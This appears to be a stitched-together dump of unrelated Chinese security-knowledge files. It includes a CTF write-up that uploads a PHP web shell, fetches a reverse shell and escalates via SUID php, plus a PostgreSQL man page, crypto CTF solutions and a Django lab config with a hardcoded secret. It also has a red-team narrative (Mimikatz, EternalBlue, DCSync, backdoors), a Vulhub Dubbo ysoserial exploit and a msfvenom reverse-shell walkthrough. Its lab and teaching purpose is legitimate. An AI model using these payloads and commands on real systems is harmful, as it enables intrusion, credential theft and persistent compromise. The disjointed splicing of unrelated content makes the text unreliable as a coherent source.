Content-Disposition: form-data; name="chunk"
0
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="chunks"
1
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="upload_session_start"
1662817071
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="visibility"
public
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="license"
all
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="max_download"
none
-----------------------------34894293281905435762178263200
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']);?>
-----------------------------34894293281905435762178263200--
```


下载反弹shell
```
shell.php?cmd=wget http://192.168.32.130/shell.php -O 1.php
```
反弹连接成功
```
www-data@photographer:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/php7.2
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/bin/ntfs-3g
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/bin/su
```
php提权
```
ww-data@photographer:/$ /usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
<sr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
bash-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-4.3# cd /root
cd /root
bash-4.3# ls
ls
proof.txt
bash-4.3# cat proof.txt
cat proof.txt
.:/://::::///:-`
-/++:+`:--:o: oo.-/+/:`
-++-.`o++s-y:/s: `sh:hy`:-/+:`
:o:``oyo/o`. ` ```/-so:+--+/`
-o:-`yh//. `./ys/-.o/
++.-ys/:/y- /s-:/+/:/o`
o/ :yo-:hNN .MNs./+o--s`
++ soh-/mMMN--.` `.-/MMMd-o:+ -s
.y /++:NMMMy-.`` ``-:hMMMmoss: +/
s- hMMMN` shyo+:. -/+syd+ :MMMMo h
h `MMMMMy./MMMMMd: +mMMMMN--dMMMMd s.
y `MMMMMMd`/hdh+..+/.-ohdy--mMMMMMm +-
h dMMMMd:```` `mmNh ```./NMMMMs o.
y. /MMMMNmmmmd/ `s-:o sdmmmmMMMMN. h`
:o sMMMMMMMMs. -hMMMMMMMM/ :o
s: `sMMMMMMMo - . `. . hMMMMMMN+ `y`
`s- +mMMMMMNhd+h/+h+dhMMMMMMd: `s-
`s: --.sNMMMMMMMMMMMMMMMMMMmo/. -s.
/o.`ohd:`.odNMMMMMMMMMMMMNh+.:os/ `/o`
.++-`+y+/:`/ssdmmNNmNds+-/o-hh:-/o-
./+:`:yh:dso/.+-++++ss+h++.:++-
-/+/-:-/y+/d:yh-o:+--/+/:`
`-///////////////:`
Follow me at: http://v1n1v131r4.com
d41d8cd98f00b204e9800998ecf8427e
bash-4.3#
```
|
sec-knowleage
|
.TH "CLUSTERDB" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
clusterdb \- 对一个PostgreSQL数据库进行建簇
.SH SYNOPSIS
.sp
\fBclusterdb\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR\fR [ \fR\fB--table | -t \fItable\fB \fR\fR]\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR
\fBclusterdb\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fR[\fR \fB--all\fR\fR | \fR\fB-a\fR\fR ]\fR
.SH "DESCRIPTION 描述"
.PP
\fBclusterdb\fR 是一个用于对某个 PostgreSQL 数据库中的表进行重新建簇的工具。它寻找以前建过簇的表,然后在上次用过的同一个索引上再次建簇。将不会动那些从未建簇的表。
.PP
\fBclusterdb\fR 是对 SQL 命令 CLUSTER[\fBcluster\fR(7)] 的封装。 使用这两种方法对数据库建簇实际上没有任何区别。
.SH "OPTIONS 选项"
.PP
\fBclusterdb\fR 接受下列命令行参数:
.TP
\fB-a\fR
.TP
\fB--all\fR
对所有数据库建簇。
.TP
\fB[-d] \fIdbname\fB\fR
.TP
\fB[--dbname] \fIdbname\fB\fR
声明要建簇的数据库名字。如果没有声明这个并且没有使用 -a(或者 --all), 那么数据库名从环境变量 PGDATABASE 中读取。 如果那个也没有设置,那么使用用于连接的用户名。
.TP
\fB-e\fR
.TP
\fB--echo\fR
回显 clusterdb 生成并发送给服务器的命令。
.TP
\fB-q\fR
.TP
\fB--quiet\fR
不要显示响应。
.TP
\fB-t \fItable\fB\fR
.TP
\fB--table \fItable\fB\fR
只对表 table 建簇。
.PP
.PP
\fBclusterdb\fR 还接受下列命令行参数获取连接参数:
.TP
\fB-h \fIhost\fB\fR
.TP
\fB--host \fIhost\fB\fR
声明服务器运行所在的机器的主机名。如果值以斜杠开头, 那么就用作 Unix 域套接字的目录。
.TP
\fB-p \fIport\fB\fR
.TP
\fB--port \fIport\fB\fR
声明服务器监听的网际网 TCP 端口或者本地 Unix 域套接字文件扩展。
.TP
\fB-U \fIusername\fB\fR
.TP
\fB--username \fIusername\fB\fR
进行连接的用户名
.TP
\fB-W\fR
.TP
\fB--password\fR
强制提示口令。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGDATABASE\fR
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数。
.SH "DIAGNOSTICS 诊断"
.PP
出现困难的时候,参阅 CLUSTER [\fBcluster\fR(7)] 和 \fBpsql\fR(1) 获取有关可能的错误和错误信息的讨论。 数据库服务器必须在目标主机上运行。同样,任何缺省连接设置和 libpq 前端库使用的环境变量都将得以应用。
.SH "EXAMPLES 例子"
.PP
对数据库 test 建簇:
.sp
.nf
$ \fBclusterdb test\fR
.sp
.fi
.PP
对一个叫做 xyzzy 的数据库里的表 foo 建簇:
.sp
.nf
$ \fBclusterdb --table foo xyzzy\fR
.sp
.fi
.SH "SEE ALSO 参见"
CLUSTER [\fBcluster\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# 总结
## 古典密码分析思路
CTF 中有关古典密码的题目,通常是根据密文求出明文,因此采用**唯密文攻击**居多,基本分析思路总结如下:
1. 确定密码类型:根据题目提示、加密方式、密文字符集、密文展现形式等信息。
2. 确定攻击方法:包括直接分析、蛮力攻击、统计分析等方法。对于无法确定类型的特殊密码,应根据其密码特性选用合适的攻击方法。
3. 确定分析工具:以在线密码分析工具与 Python 脚本工具包为主,以离线密码分析工具与手工分析为辅。
以上唯密文攻击方法的适用场景与举例如下:
| 攻击方法 | 适用场景 | 举例 |
| ---------- | ---------------------------------- | -------------------------------------- |
| 直接分析法 | 由密码类型可确定映射关系的代换密码 | 凯撒密码、猪圈密码、键盘密码等 |
| 蛮力攻击法 | 密钥空间较小的代换密码或置换密码 | 移位密码、栅栏密码等 |
| 统计分析法 | 密钥空间较大的代换密码 | 简单替换密码、仿射密码、维吉尼亚密码等 |
## 实验吧 围在栅栏里的爱
题目描述
> 最近一直在好奇一个问题,QWE 到底等不等于 ABC?
>
> -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- ---
>
> flag格式:CTF{xxx}
首先,根据密码样式判断是摩斯电码,解密后得到 `KIQLWTFCQGNSOO`,看着也不像 flag,题目中还有还有栅栏与 `QWE到底等不等于ABC`,两个都试了试之后,发现是先 QWE 然后栅栏可得到结果。
首先键盘 QWE 解密,试着解密得到 `IILYOAVNEBSAHR`。继而栅栏解密得到 `ILOVESHIYANBAR`。
## 2017 SECCON Vigenere3d
程序如下
```python
# Vigenere3d.py
import sys
def _l(idx, s):
return s[idx:] + s[:idx]
def main(p, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]
i1 = 0
i2 = 0
c = ""
for a in p:
c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])]
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return c
print main(sys.argv[1], sys.argv[2], sys.argv[2][::-1])
$ python Vigenere3d.py SECCON{**************************} **************
POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9
```
**解法一**:
首先,我们先来分析一下 t 的构成
$$
t[i][j]=s[i+j:]+s[:i+j] \\
t[i][k]=s[i+k:]+s[:i+k]
$$
$t[i][j][k]$ 为 $t[i][j]$ 中的第 k 个字符,$t[i][k][j]$ 为 $t[i][k]$ 中的第 j 个字符。无论是 $i+j+k$ 是否超过 `len(s)` 两者都始终保持一致,即 $t[i][j][k]=t[i][k][j]$ 。
故而,其实对于相同的明文来说,可能有多个密钥使其生成相同的密文。
然而上面分析就是单纯地分析而已,,下面开始正题。
不难看出,密文的每一位只与明文的相应位相关,而且,密钥的每一位的空间最大也就是 s 的大小,所以我们可以使用爆破来获取密钥。这里根据上述命令行提示,可以知道密钥长度为 14,恰好明文前面7个字节已知。恢复密钥的 exp 如下
```python
def get_key(plain, cipher):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))]
for i in range(len(s))]
i1 = 0
i2 = 0
key = ['*'] * 14
for i in range(len(plain)):
for i1 in range(len(s)):
for i2 in range(len(s)):
if t[s.find(plain[i])][s.find(s[i1])][s.find(s[i2])] == cipher[
i]:
key[i] = s[i1]
key[13 - i] = s[i2]
return ''.join(key)
```
恢复明文的脚本如下
```python
def decrypt(cipher, k1, k2):
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [[_l((i + j) % len(s), s) for j in range(len(s))]
for i in range(len(s))]
i1 = 0
i2 = 0
plain = ""
for a in cipher:
for i in range(len(s)):
if t[i][s.find(k1[i1])][s.find(k2[i2])] == a:
plain += s[i]
break
i1 = (i1 + 1) % len(k1)
i2 = (i2 + 1) % len(k2)
return plain
```
得到明文如下
```shell
➜ 2017_seccon_vigenere3d git:(master) python exp.py
SECCON{Welc0me_to_SECCON_CTF_2017}
```
**解法二**
关于此题的分析:
1. 考虑到在程序正常运行下,数组访问不会越界,我们在讨论时做以下约定:$arr[index] \Leftrightarrow arr[index \% len(arr)]$
2. 关于 python 程序中定义的 `_l` 函数,发现以下等价关系:$\_l(offset, arr)[index] \Leftrightarrow arr[index + offset]$
3. 关于 python 的 main 函数中三维矩阵 t 的定义,发现以下等价关系:$t[a][b][c] \Leftrightarrow \_l(a+b, s)[c]$
4. 综合第 2 第 3 点的观察,有如下等价关系:$t[a][b][c] \Leftrightarrow s[a+b+c]$
5. 我们将 s 视为一种编码格式,即:编码过程 s.find(x),解码过程 s[x]。并直接使用其编码结果的数字替代其所代指的字符串,那么加密过程可以用以下公式表示:
- $e = f + k1 +k2$
- 其中,e 是密文,f 是明文,k1 与 k2 是通过复制方法得到、与 f 长度一样的密钥,**加法是向量加**。
所以我们只需要通过计算 `k1+k2` ,模拟密钥,即可解密。关于此题的解密 python 脚本:
```python
# exp2.py
enc_str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}'
dec_dic = {k:v for v,k in enumerate(enc_str)}
encrypt = 'POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9'
flag_bg = 'SECCON{**************************}'
sim_key = [dec_dic[encrypt[i]]-dec_dic[flag_bg[i]] for i in range(7)] # 破解模拟密钥
sim_key = sim_key + sim_key[::-1]
flag_ed = [dec_dic[v]-sim_key[k%14] for k,v in enumerate(encrypt)] # 模拟密钥解密
flag_ed = ''.join([enc_str[i%len(enc_str)] for i in flag_ed]) # 解码
print(flag_ed)
```
得到明文如下:
```bash
$ python exp2.py
SECCON{Welc0me_to_SECCON_CTF_2017}
```
## 消失的三重密码
密文
```
of zit kggd zitkt qkt ygxk ortfzoeqs wqlatzwqssl qfr zvg ortfzoeqs yggzwqssl. fgv oy ngx vqfz zg hxz zitd of gft soft.piv dgfn lgsxzogfl qkt zitkt? zohl:hstqlt eiqfut zit ygkd gy zit fxdwtk ngx utz.zit hkgukqddtkl!
```
使用 quipquip 直接解密。
|
sec-knowleage
|
"""
Django settings for cve201914234 project.
Generated by 'django-admin startproject' using Django 2.2.3.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'rg3d%3$4%%syk866u%sho7-u+m46m4(_uhwy=t-ms4r9wssus_'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = ["*"]
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'vuln',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'cve201914234.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'cve201914234.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'cve',
'USER': 'postgres',
'PASSWORD': 'postgres',
'HOST': 'db',
'PORT': '5432',
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_URL = '/static/'
|
sec-knowleage
|
# SCS7 (crypto, 112p, 134 solved)
In the challenge we get access to a blackbox encryption service.
```
$ nc crypto.chal.ctf.westerns.tokyo 14791
encrypted flag: LY7Gj9deCPzsXNpp0SQcyp9XmtvqUn0ddkWNGFX1AHTbT3mn5uYcu7RbAZ10Tuxp
You can encrypt up to 100 messages.
message: aa
ciphertext: wg9
```
The service gives us ciphertext of the flag in base64-like encoding, and we can encrypt 100 messages per single connection.
The approach here is pretty simple - we brute-force the flag, checking how much of the ciphertext matches the encrypted flag, and use this to guess the "next character".
Judginig by the length of the ciphertext the flag should be 47 characters long, because only such input length gives us ciphertext with correct size.
We also know the flag prefix `TWCTF{`, so now we only need to guess the next characters.
Sending just `TWCTF{` with some random characters as padding gives us `9` matching ciphertext characters.
If we now test all characters on the next position, we hit score `10` for character `6`, which means it's the next character.
In some cases there are multiple characters giving the same result, and in such case we need to test all of them in the next step.
There is a useful property here -> it seems the encryption is somehow monotonic, so if we test characters in ascii order, once the score goes "down" we can break, because we already passed all viable options.
There is a special case when no character actaully raises the score, but in such case we just take all the values with highest score for the next round.
After a moment we realised that charset seems to be only lowercase hex, so we stick to this to speed things up.
```python
import re
import string
import sys
from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
def count_matching(enc_flag, param):
counter = 0
for i in range(len(param)):
if enc_flag[i] == param[i]:
counter += 1
else:
return counter
return counter
def find_max_for_prefix(flag_len, flag_prefix, port, url):
s = nc(url, port)
initial = receive_until_match(s, "message: ")
enc_flag = re.findall("encrypted flag: (.*)", initial)[0]
print(initial)
max_score = 0
maxes = []
for c in string.digits + "abcdef": # charset
data = flag_prefix + c + ('0' * (flag_len - len(flag_prefix) - 2)) + '}'
send(s, data)
result = receive_until_match(s, "ciphertext: .*\n")
result = re.findall("ciphertext: (.*)\n", result)[0]
matched = count_matching(enc_flag, result)
print(matched, flag_prefix + c)
if matched == len(enc_flag):
print("Found", data)
sys.exit(0)
if matched > max_score:
max_score = matched
maxes = [c]
elif matched == max_score:
maxes.append(c)
elif matched < max_score:
break # won't get better anymore
receive_until_match(s, "message:")
s.close()
return max_score, maxes
def main():
flag_len = 47
flag_prefix = "TWCTF"
maxes = ['{']
current_score = 8
url = "crypto.chal.ctf.westerns.tokyo"
port = 14791
while True:
for c in maxes:
flag_prefix_test = flag_prefix + c
max_score, new_maxes = find_max_for_prefix(flag_len, flag_prefix_test, port, url)
if (max_score > current_score) or ((max_score == current_score) and len(new_maxes) < 16):
current_score = max_score
maxes = new_maxes
flag_prefix += c
print(flag_prefix)
break
main()
```
After a while this will return the flag: `TWCTF{67ced5346146c105075443add26fd7efd72763dd}`
|
sec-knowleage
|
# 第9章 两分钟的训练——从零到英雄
> 译者:[@Snowming](https://github.com/Snowming04)
>
> 校对者:@匿名jack

随着时间的推移,直到测试的最后一天你都还没有从目标外部网络取得比较好的突破。因为你需要进入目标内网,了解他们公司的网络布局,获得一些敏感文件或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber Space Kittens 公司太空计划的相关资料,此时你感觉压力很大。你的任务是窃取最新的太空计划相关的绝密信息并且不能失败...现在是两分钟操练的时候了。只剩一点点时间了,你需要从10码线开始运球,突破所有的防守保护,扫清路上的障碍,最终把球带到90码线安全着陆。
## 10码线
你重新翻阅自己之前做的笔记,找出自己可能遗漏的一些信息。你的眼睛聚焦在一个网页屏幕截图...这是一个 CSK(Cyber Space Kittens)的论坛网站。你暂时没法找到这个网站程序的漏洞,但是你注意到这个 CSK 论坛网站是给 CSK 内部员工和普通用户共同使用的,用于发布他们太空项目相关的问题、评论和其他事情。
你在网站上收集那些看上去是属于公司员工的账户。然后你根据账户名提炼信息制作比较靠谱的密码表(可能使用的密码)。你使用常用密码及其变体对所有这些账户进行密码爆破尝试。你看到你的 python 脚本正在缓慢的输出… 失败 … 失败 … 失败 … 密码已找到 ! 当你看到一个名为 Chris Catfield 的用户使用了 `Summer2018!` 这个密码时会心一笑。这个比你预想的要简单的多。接下来,你使用 Chris 的凭证登录论坛,查阅他的私信和帖子,找出那些能帮助更好的开展下一步行动的信息。你发现 Chris 经常与论坛上的另一位内部员工 Neil Pawstrong 谈论太空项目。看起来他们不是现实中的朋友,但他们有很融洽的协同工作关系。这对你开展受信任的钓鱼攻击非常有利。这两个用户之间已经建立了融洽的关系,所以如果你使用 Chris 的帐号发钓鱼邮件给 Neil,成功的可能性将会很大。
## 20码线
你在纠结要不要直接向 Neil 发送恶意的 payload,但是那样太明显了。于是你向他发送了一个你刚搭建好的一个带有猫猫照片的网站的链接,“嘿,Neil,我知道你喜欢猫!看看我做的这个页面吧!”

几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我喜欢这个太空猫啦!”Neil 没有意识到他访问的网页有一个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 内部网络,并且危及未经身份验证的 Jenkins 和 Tomcat Web 服务器。几秒钟之后,你得到了一个弹回来的 Empire 的 shell,你终于松了一口气。
## 30码线
当你顺利撕开目标的一道口子,你意识到 CSK 的网络防御部门重新设置防火墙配置、DNS 配置和进行主机屏蔽只是时间问题,所以你需要快速移动。幸运的是,你已经配置了一些自动化的程序和脚本来处理那些繁琐的工作。受感染的主机已经激活 beacon 并且开始运行 Bloodhound 等工具,查找本地存储的密码相关文件,设置注册表的值来使 Mimikatz 工具能够捕获 LSASS 进程存储的密码,运行 SPN(Kerberos 服务主体名称)并转储所有 Kerberos 票证,当然还可以在计划任务中做一些持久化渗透的设置。
## 40码线
你清楚自己需要快速离开这个第一台主机。于是你将所有拿回的 Kerberos ticket(票据)导入到 Hashcat 程序中,然后开始破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个非常正确的决定。当 hash 开始破解的时候,你注意到有一些服务账户的密码已经破解完毕,但是你现在还没时间去处理这些。你仔细阅读 Bloodhound 的输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,并且 Neil 的 AD 账户(域账户)可以访问另一个属于 Buzz Clawdrin 的机器。通过使用 WMI 进行连接,你远程生成一个新的 payload 到 Buzz 的机器中,然后注入到属于 Buzz 账户进程中。

## 50码线
幸运的是,你的账户(Neil 的域账户)在 Buzz 主机的本地管理员成员组中,这意味着你能在这个主机上做更多的协同工作。 使用 Bloodhound 进行信息收集,你能够遍历整个 CSK-LAB 域的网络,但你意识到你在这个主机中并没有 `system` 权限。不用担心,你可以加载 `powerup` 这个 powershell 脚本文件来查找这个主机的错误配置,进而让你权限提升到 `system` 权限。如你所料,服务二进制文件有大量没加引号的路径,你可以在那写入你自己的 payload。你可以快速做一个新的恶意的二进制文件来获得 `system` 权限。
## 60码线
你在第二台主机上运行一个新的 Cobalt Strike 的 payload 获得了一个新的 beacon,这让你即使被他们发现了一些痕迹,也能保持访问权限。这是一个 system 权限的 beacon 连接,你可以通过该主机查找机器中存储在浏览器、WinSCP 配置文件等文本文件中的大量凭据。这台主机是个金矿,它可以连接到多个服务器和数据库。你注意到此主机位于不同的 VLAN 上。看起来这个主机可以访问那些从 Neil 的主机无法看到的这个内网中的更多的网段和主机。你再次运行命令进行内网信息收集,通过 Bloodhound 来了解你当前能访问的网段和主机。你注意到这些网络中的很多主机无法连接到外网,因此你无法获得 HTTP 的 `beacon`。但是因为你使用的是 Cobalt Strike(https://www.cobaltstrike.com/help-smb-beacon ),因此你知道它有一个强大的功能,可将内网断网主机和你当前已控的 `beacon` 进行 SMB 管道连接上线。这就意味着整个实验室的 VLAN 网络中其他受到攻击的机器都可以利用当前这个 CSK-LAB 主机访问到外网。另外,你发现这些在半隔离网络中的主机并没有获取系统更新。看上去,这些运行着 Windows 7系统的客户端主机中并没有为 EternalBlue(永恒之蓝漏洞)打补丁。
## 70码线
通过这台 CSK-LAB 主机,你可以使用经过修改的 EternalBlue 漏洞、利用 payload 在这个 lab 域中的大多数 windows 7机器中中获得 SMB 的 `beacon`。你开始使用这些新的 shell 来获得更多的信息。你发现其中一个主机和一个名为 Restricted 的远程 Microsoft SQL 服务器保持着活跃的连接。你尝试了在这个 lab 域中收集的所有账户,但这些凭证都不适用于这个数据库服务器。你感到难过,你回头看看自己所有的笔记,然后意识到你忘了那些正在破解的 Kerberos 票据!你通过 SSH 连接到负责破解 hash 的机器,查看那些破解结果,在结果中找出那些链接 Restricted 数据库的凭证。当你找到这个服务帐号的密码时,你浑身得到了巨大的解脱感。
## 80码线
你登录到名为 Restricted 的数据库服务器并对整个数据库进行了脱库。 你很想直接在数据库服务器中直接查看,但你知道时间有限。 你使用一些 PowerShell 脚本对数据进行加密压缩,然后在不同的内网已控主机之间慢慢传递,最后将压缩数据利用网络转移到自己的 C2 服务器上。
你告诉你自己,你做到了!但是当你逐渐从飘了的感觉中冷静下来,你发现自己仍然有工作要做。你回过头来翻阅那些之前导出的 Bloodhound 收集的信息,发现一台名为 Purri Gagarin 的主机,它属于 IT 技术支持部门的工作组 。很好,我们可以使用它来远程桌面连接或者使用 Windows ACE 连接到域管理员的机器,然后我们可以将域管理员的密码重置为我们自定义的密码。我们接着操作,重置域管理员 Elon Muskkat 的密码,然后做一些 AD 持久化的设置来维持持久的域管权限。
## 90码线
我们需要做的最后一件事情是从域控制器中导出所有的哈希,并且设置其他的后门,最后擦除我们的痕迹。你可以使用 Mimikatz 应用的的 DCsync 功能来获取所有用户的哈希,包括 krbtgt 票据。而不是使用动静很大的方法(卷影复制服务)来获取域里所有用户的哈希。我们现在拥有了黄金票据!这意味着我们如果重新回到内网中,我们可以创建自己的 Kerberos 票据并且让它成为域管理员。
> 译者注: 卷影复制服务(Volume Shadow Copy Service,简称 VSS)是微软 Windows 的一项组件服务。卷影复制服务是一项定时为分卷作复制的服务。服务会在分卷新增一个名为“阴影复制”(Shadow Copy)的选项。此服务可为离线用户提供离线文件服务。
为了留下更多的后门,我们在不同主机中使用了不同的技术。我们在一个主机中设置了 shift 后门;使用 backdoorfactory 技术将我们的恶意软件隐藏在另一个主机中的常用二进制可执行文件中;将系统的计划任务设置为每周运行一次回连我们的 C2 服务器;使用一个和 lab 域分离的主机,使用 dnscat 的可执行二进制文件代替系统中一个没啥用的运行服务;还删除了几个主机的启动文件夹中的 payload。
我们是幸运的(当然与之对应我们的幸运建立在他们的不幸之上),我们到目前为止都没有被发现。但你要记住,红队渗透评估的目的是为了了解公司或组织发现恶意攻击活动的速度有多快(CSK 公司并没有发现),以及他们执行应急响应、取证和缓解攻击带来的负面影响的速度有多快。所以在最后你尝试触发 CSK 的蓝队采取行动,运行了一个 powershell 脚本( https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-RickAstley.ps1 )。你满意的笑了,然后关闭笔记本电脑。
任务完成 :)
|
sec-knowleage
|
# Aapche Dubbo Unsafe Java Deserialization (CVE-2019-17564)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Dubbo is a high-performance, java based open source RPC framework.
Apache Dubbo supports different protocols, and its HTTP protocol handler is a wrapper of Spring Framework's `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`.
A security warning of Spring Framework shows that an unsafe Java deserialization is exist in the `HttpInvokerServiceExporter`, which could lead to a RCE vulnerability:
> WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code As a consequence, do not expose HTTP invoker endpoints to untrusted As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.
This vulnerability affects Apache Dubbo 2.7.4 and earlier, after 2.7.5 Dubbo replace `HttpInvokerServiceExporter` with `com.googlecode.jsonrpc4j.JsonRpcServer`.
Reference links.
- https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html
- https://www.anquanke.com/post/id/198747
- https://paper.seebug.org/1128/
## Vulnerable Application
Start an Apache Dubbo 2.7.3 Provider by executing the following command.
```
docker compose up -d
```
After the service is started, browser ``http://your-ip:8080`` and the server will return an empty 500 error page by default.
## Exploit
It is important to know the RPC interface name before leveraging this vulnerability.
Vulhub is exposing the port 8080 and port 2181, where 2181 is the port of Zookeeper. Download [Zookeeper](https://zookeeper.apache.org/) and use the script **zkCli** to connect to the unauthenticated Zookeeper server:
```
./zkCli -server target-ip:2181
```
After connecting, it is come with an interactive console, where you can `ls` all nodes, including Dubbo-related configuration.

Get the RPC interface named `org.vulhub.api.CalcService`. Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a `CommonsCollections6` payload, then send it to `http://your-ip:8080/org.vulhub.api.CalcService` as POST body.
```
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService
```

Entering the container, you can see that `touch /tmp/success` has been executed successfully.

|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。
痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。
**攻击机:**
192.168.1.5 Debian
**靶机:**
192.168.1.4 Windows 7
192.168.1.119 Windows 2003
### 攻击机配置:
payload:windows/meterpreter/reverse_tcp
```bash
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:53
```

### payload生成:
```bash
root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\x00' ‐f exe > First.exe
```
原始payload大小如下:
73802字节,大概在72KB
```bash
root@John:/tmp# du ‐sb First.exe
73802 First.exe
```
### 第一次优化payload:
提取windows/meterpreter/reverse_tcp shellcode
```bash
root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\x00' ‐f c
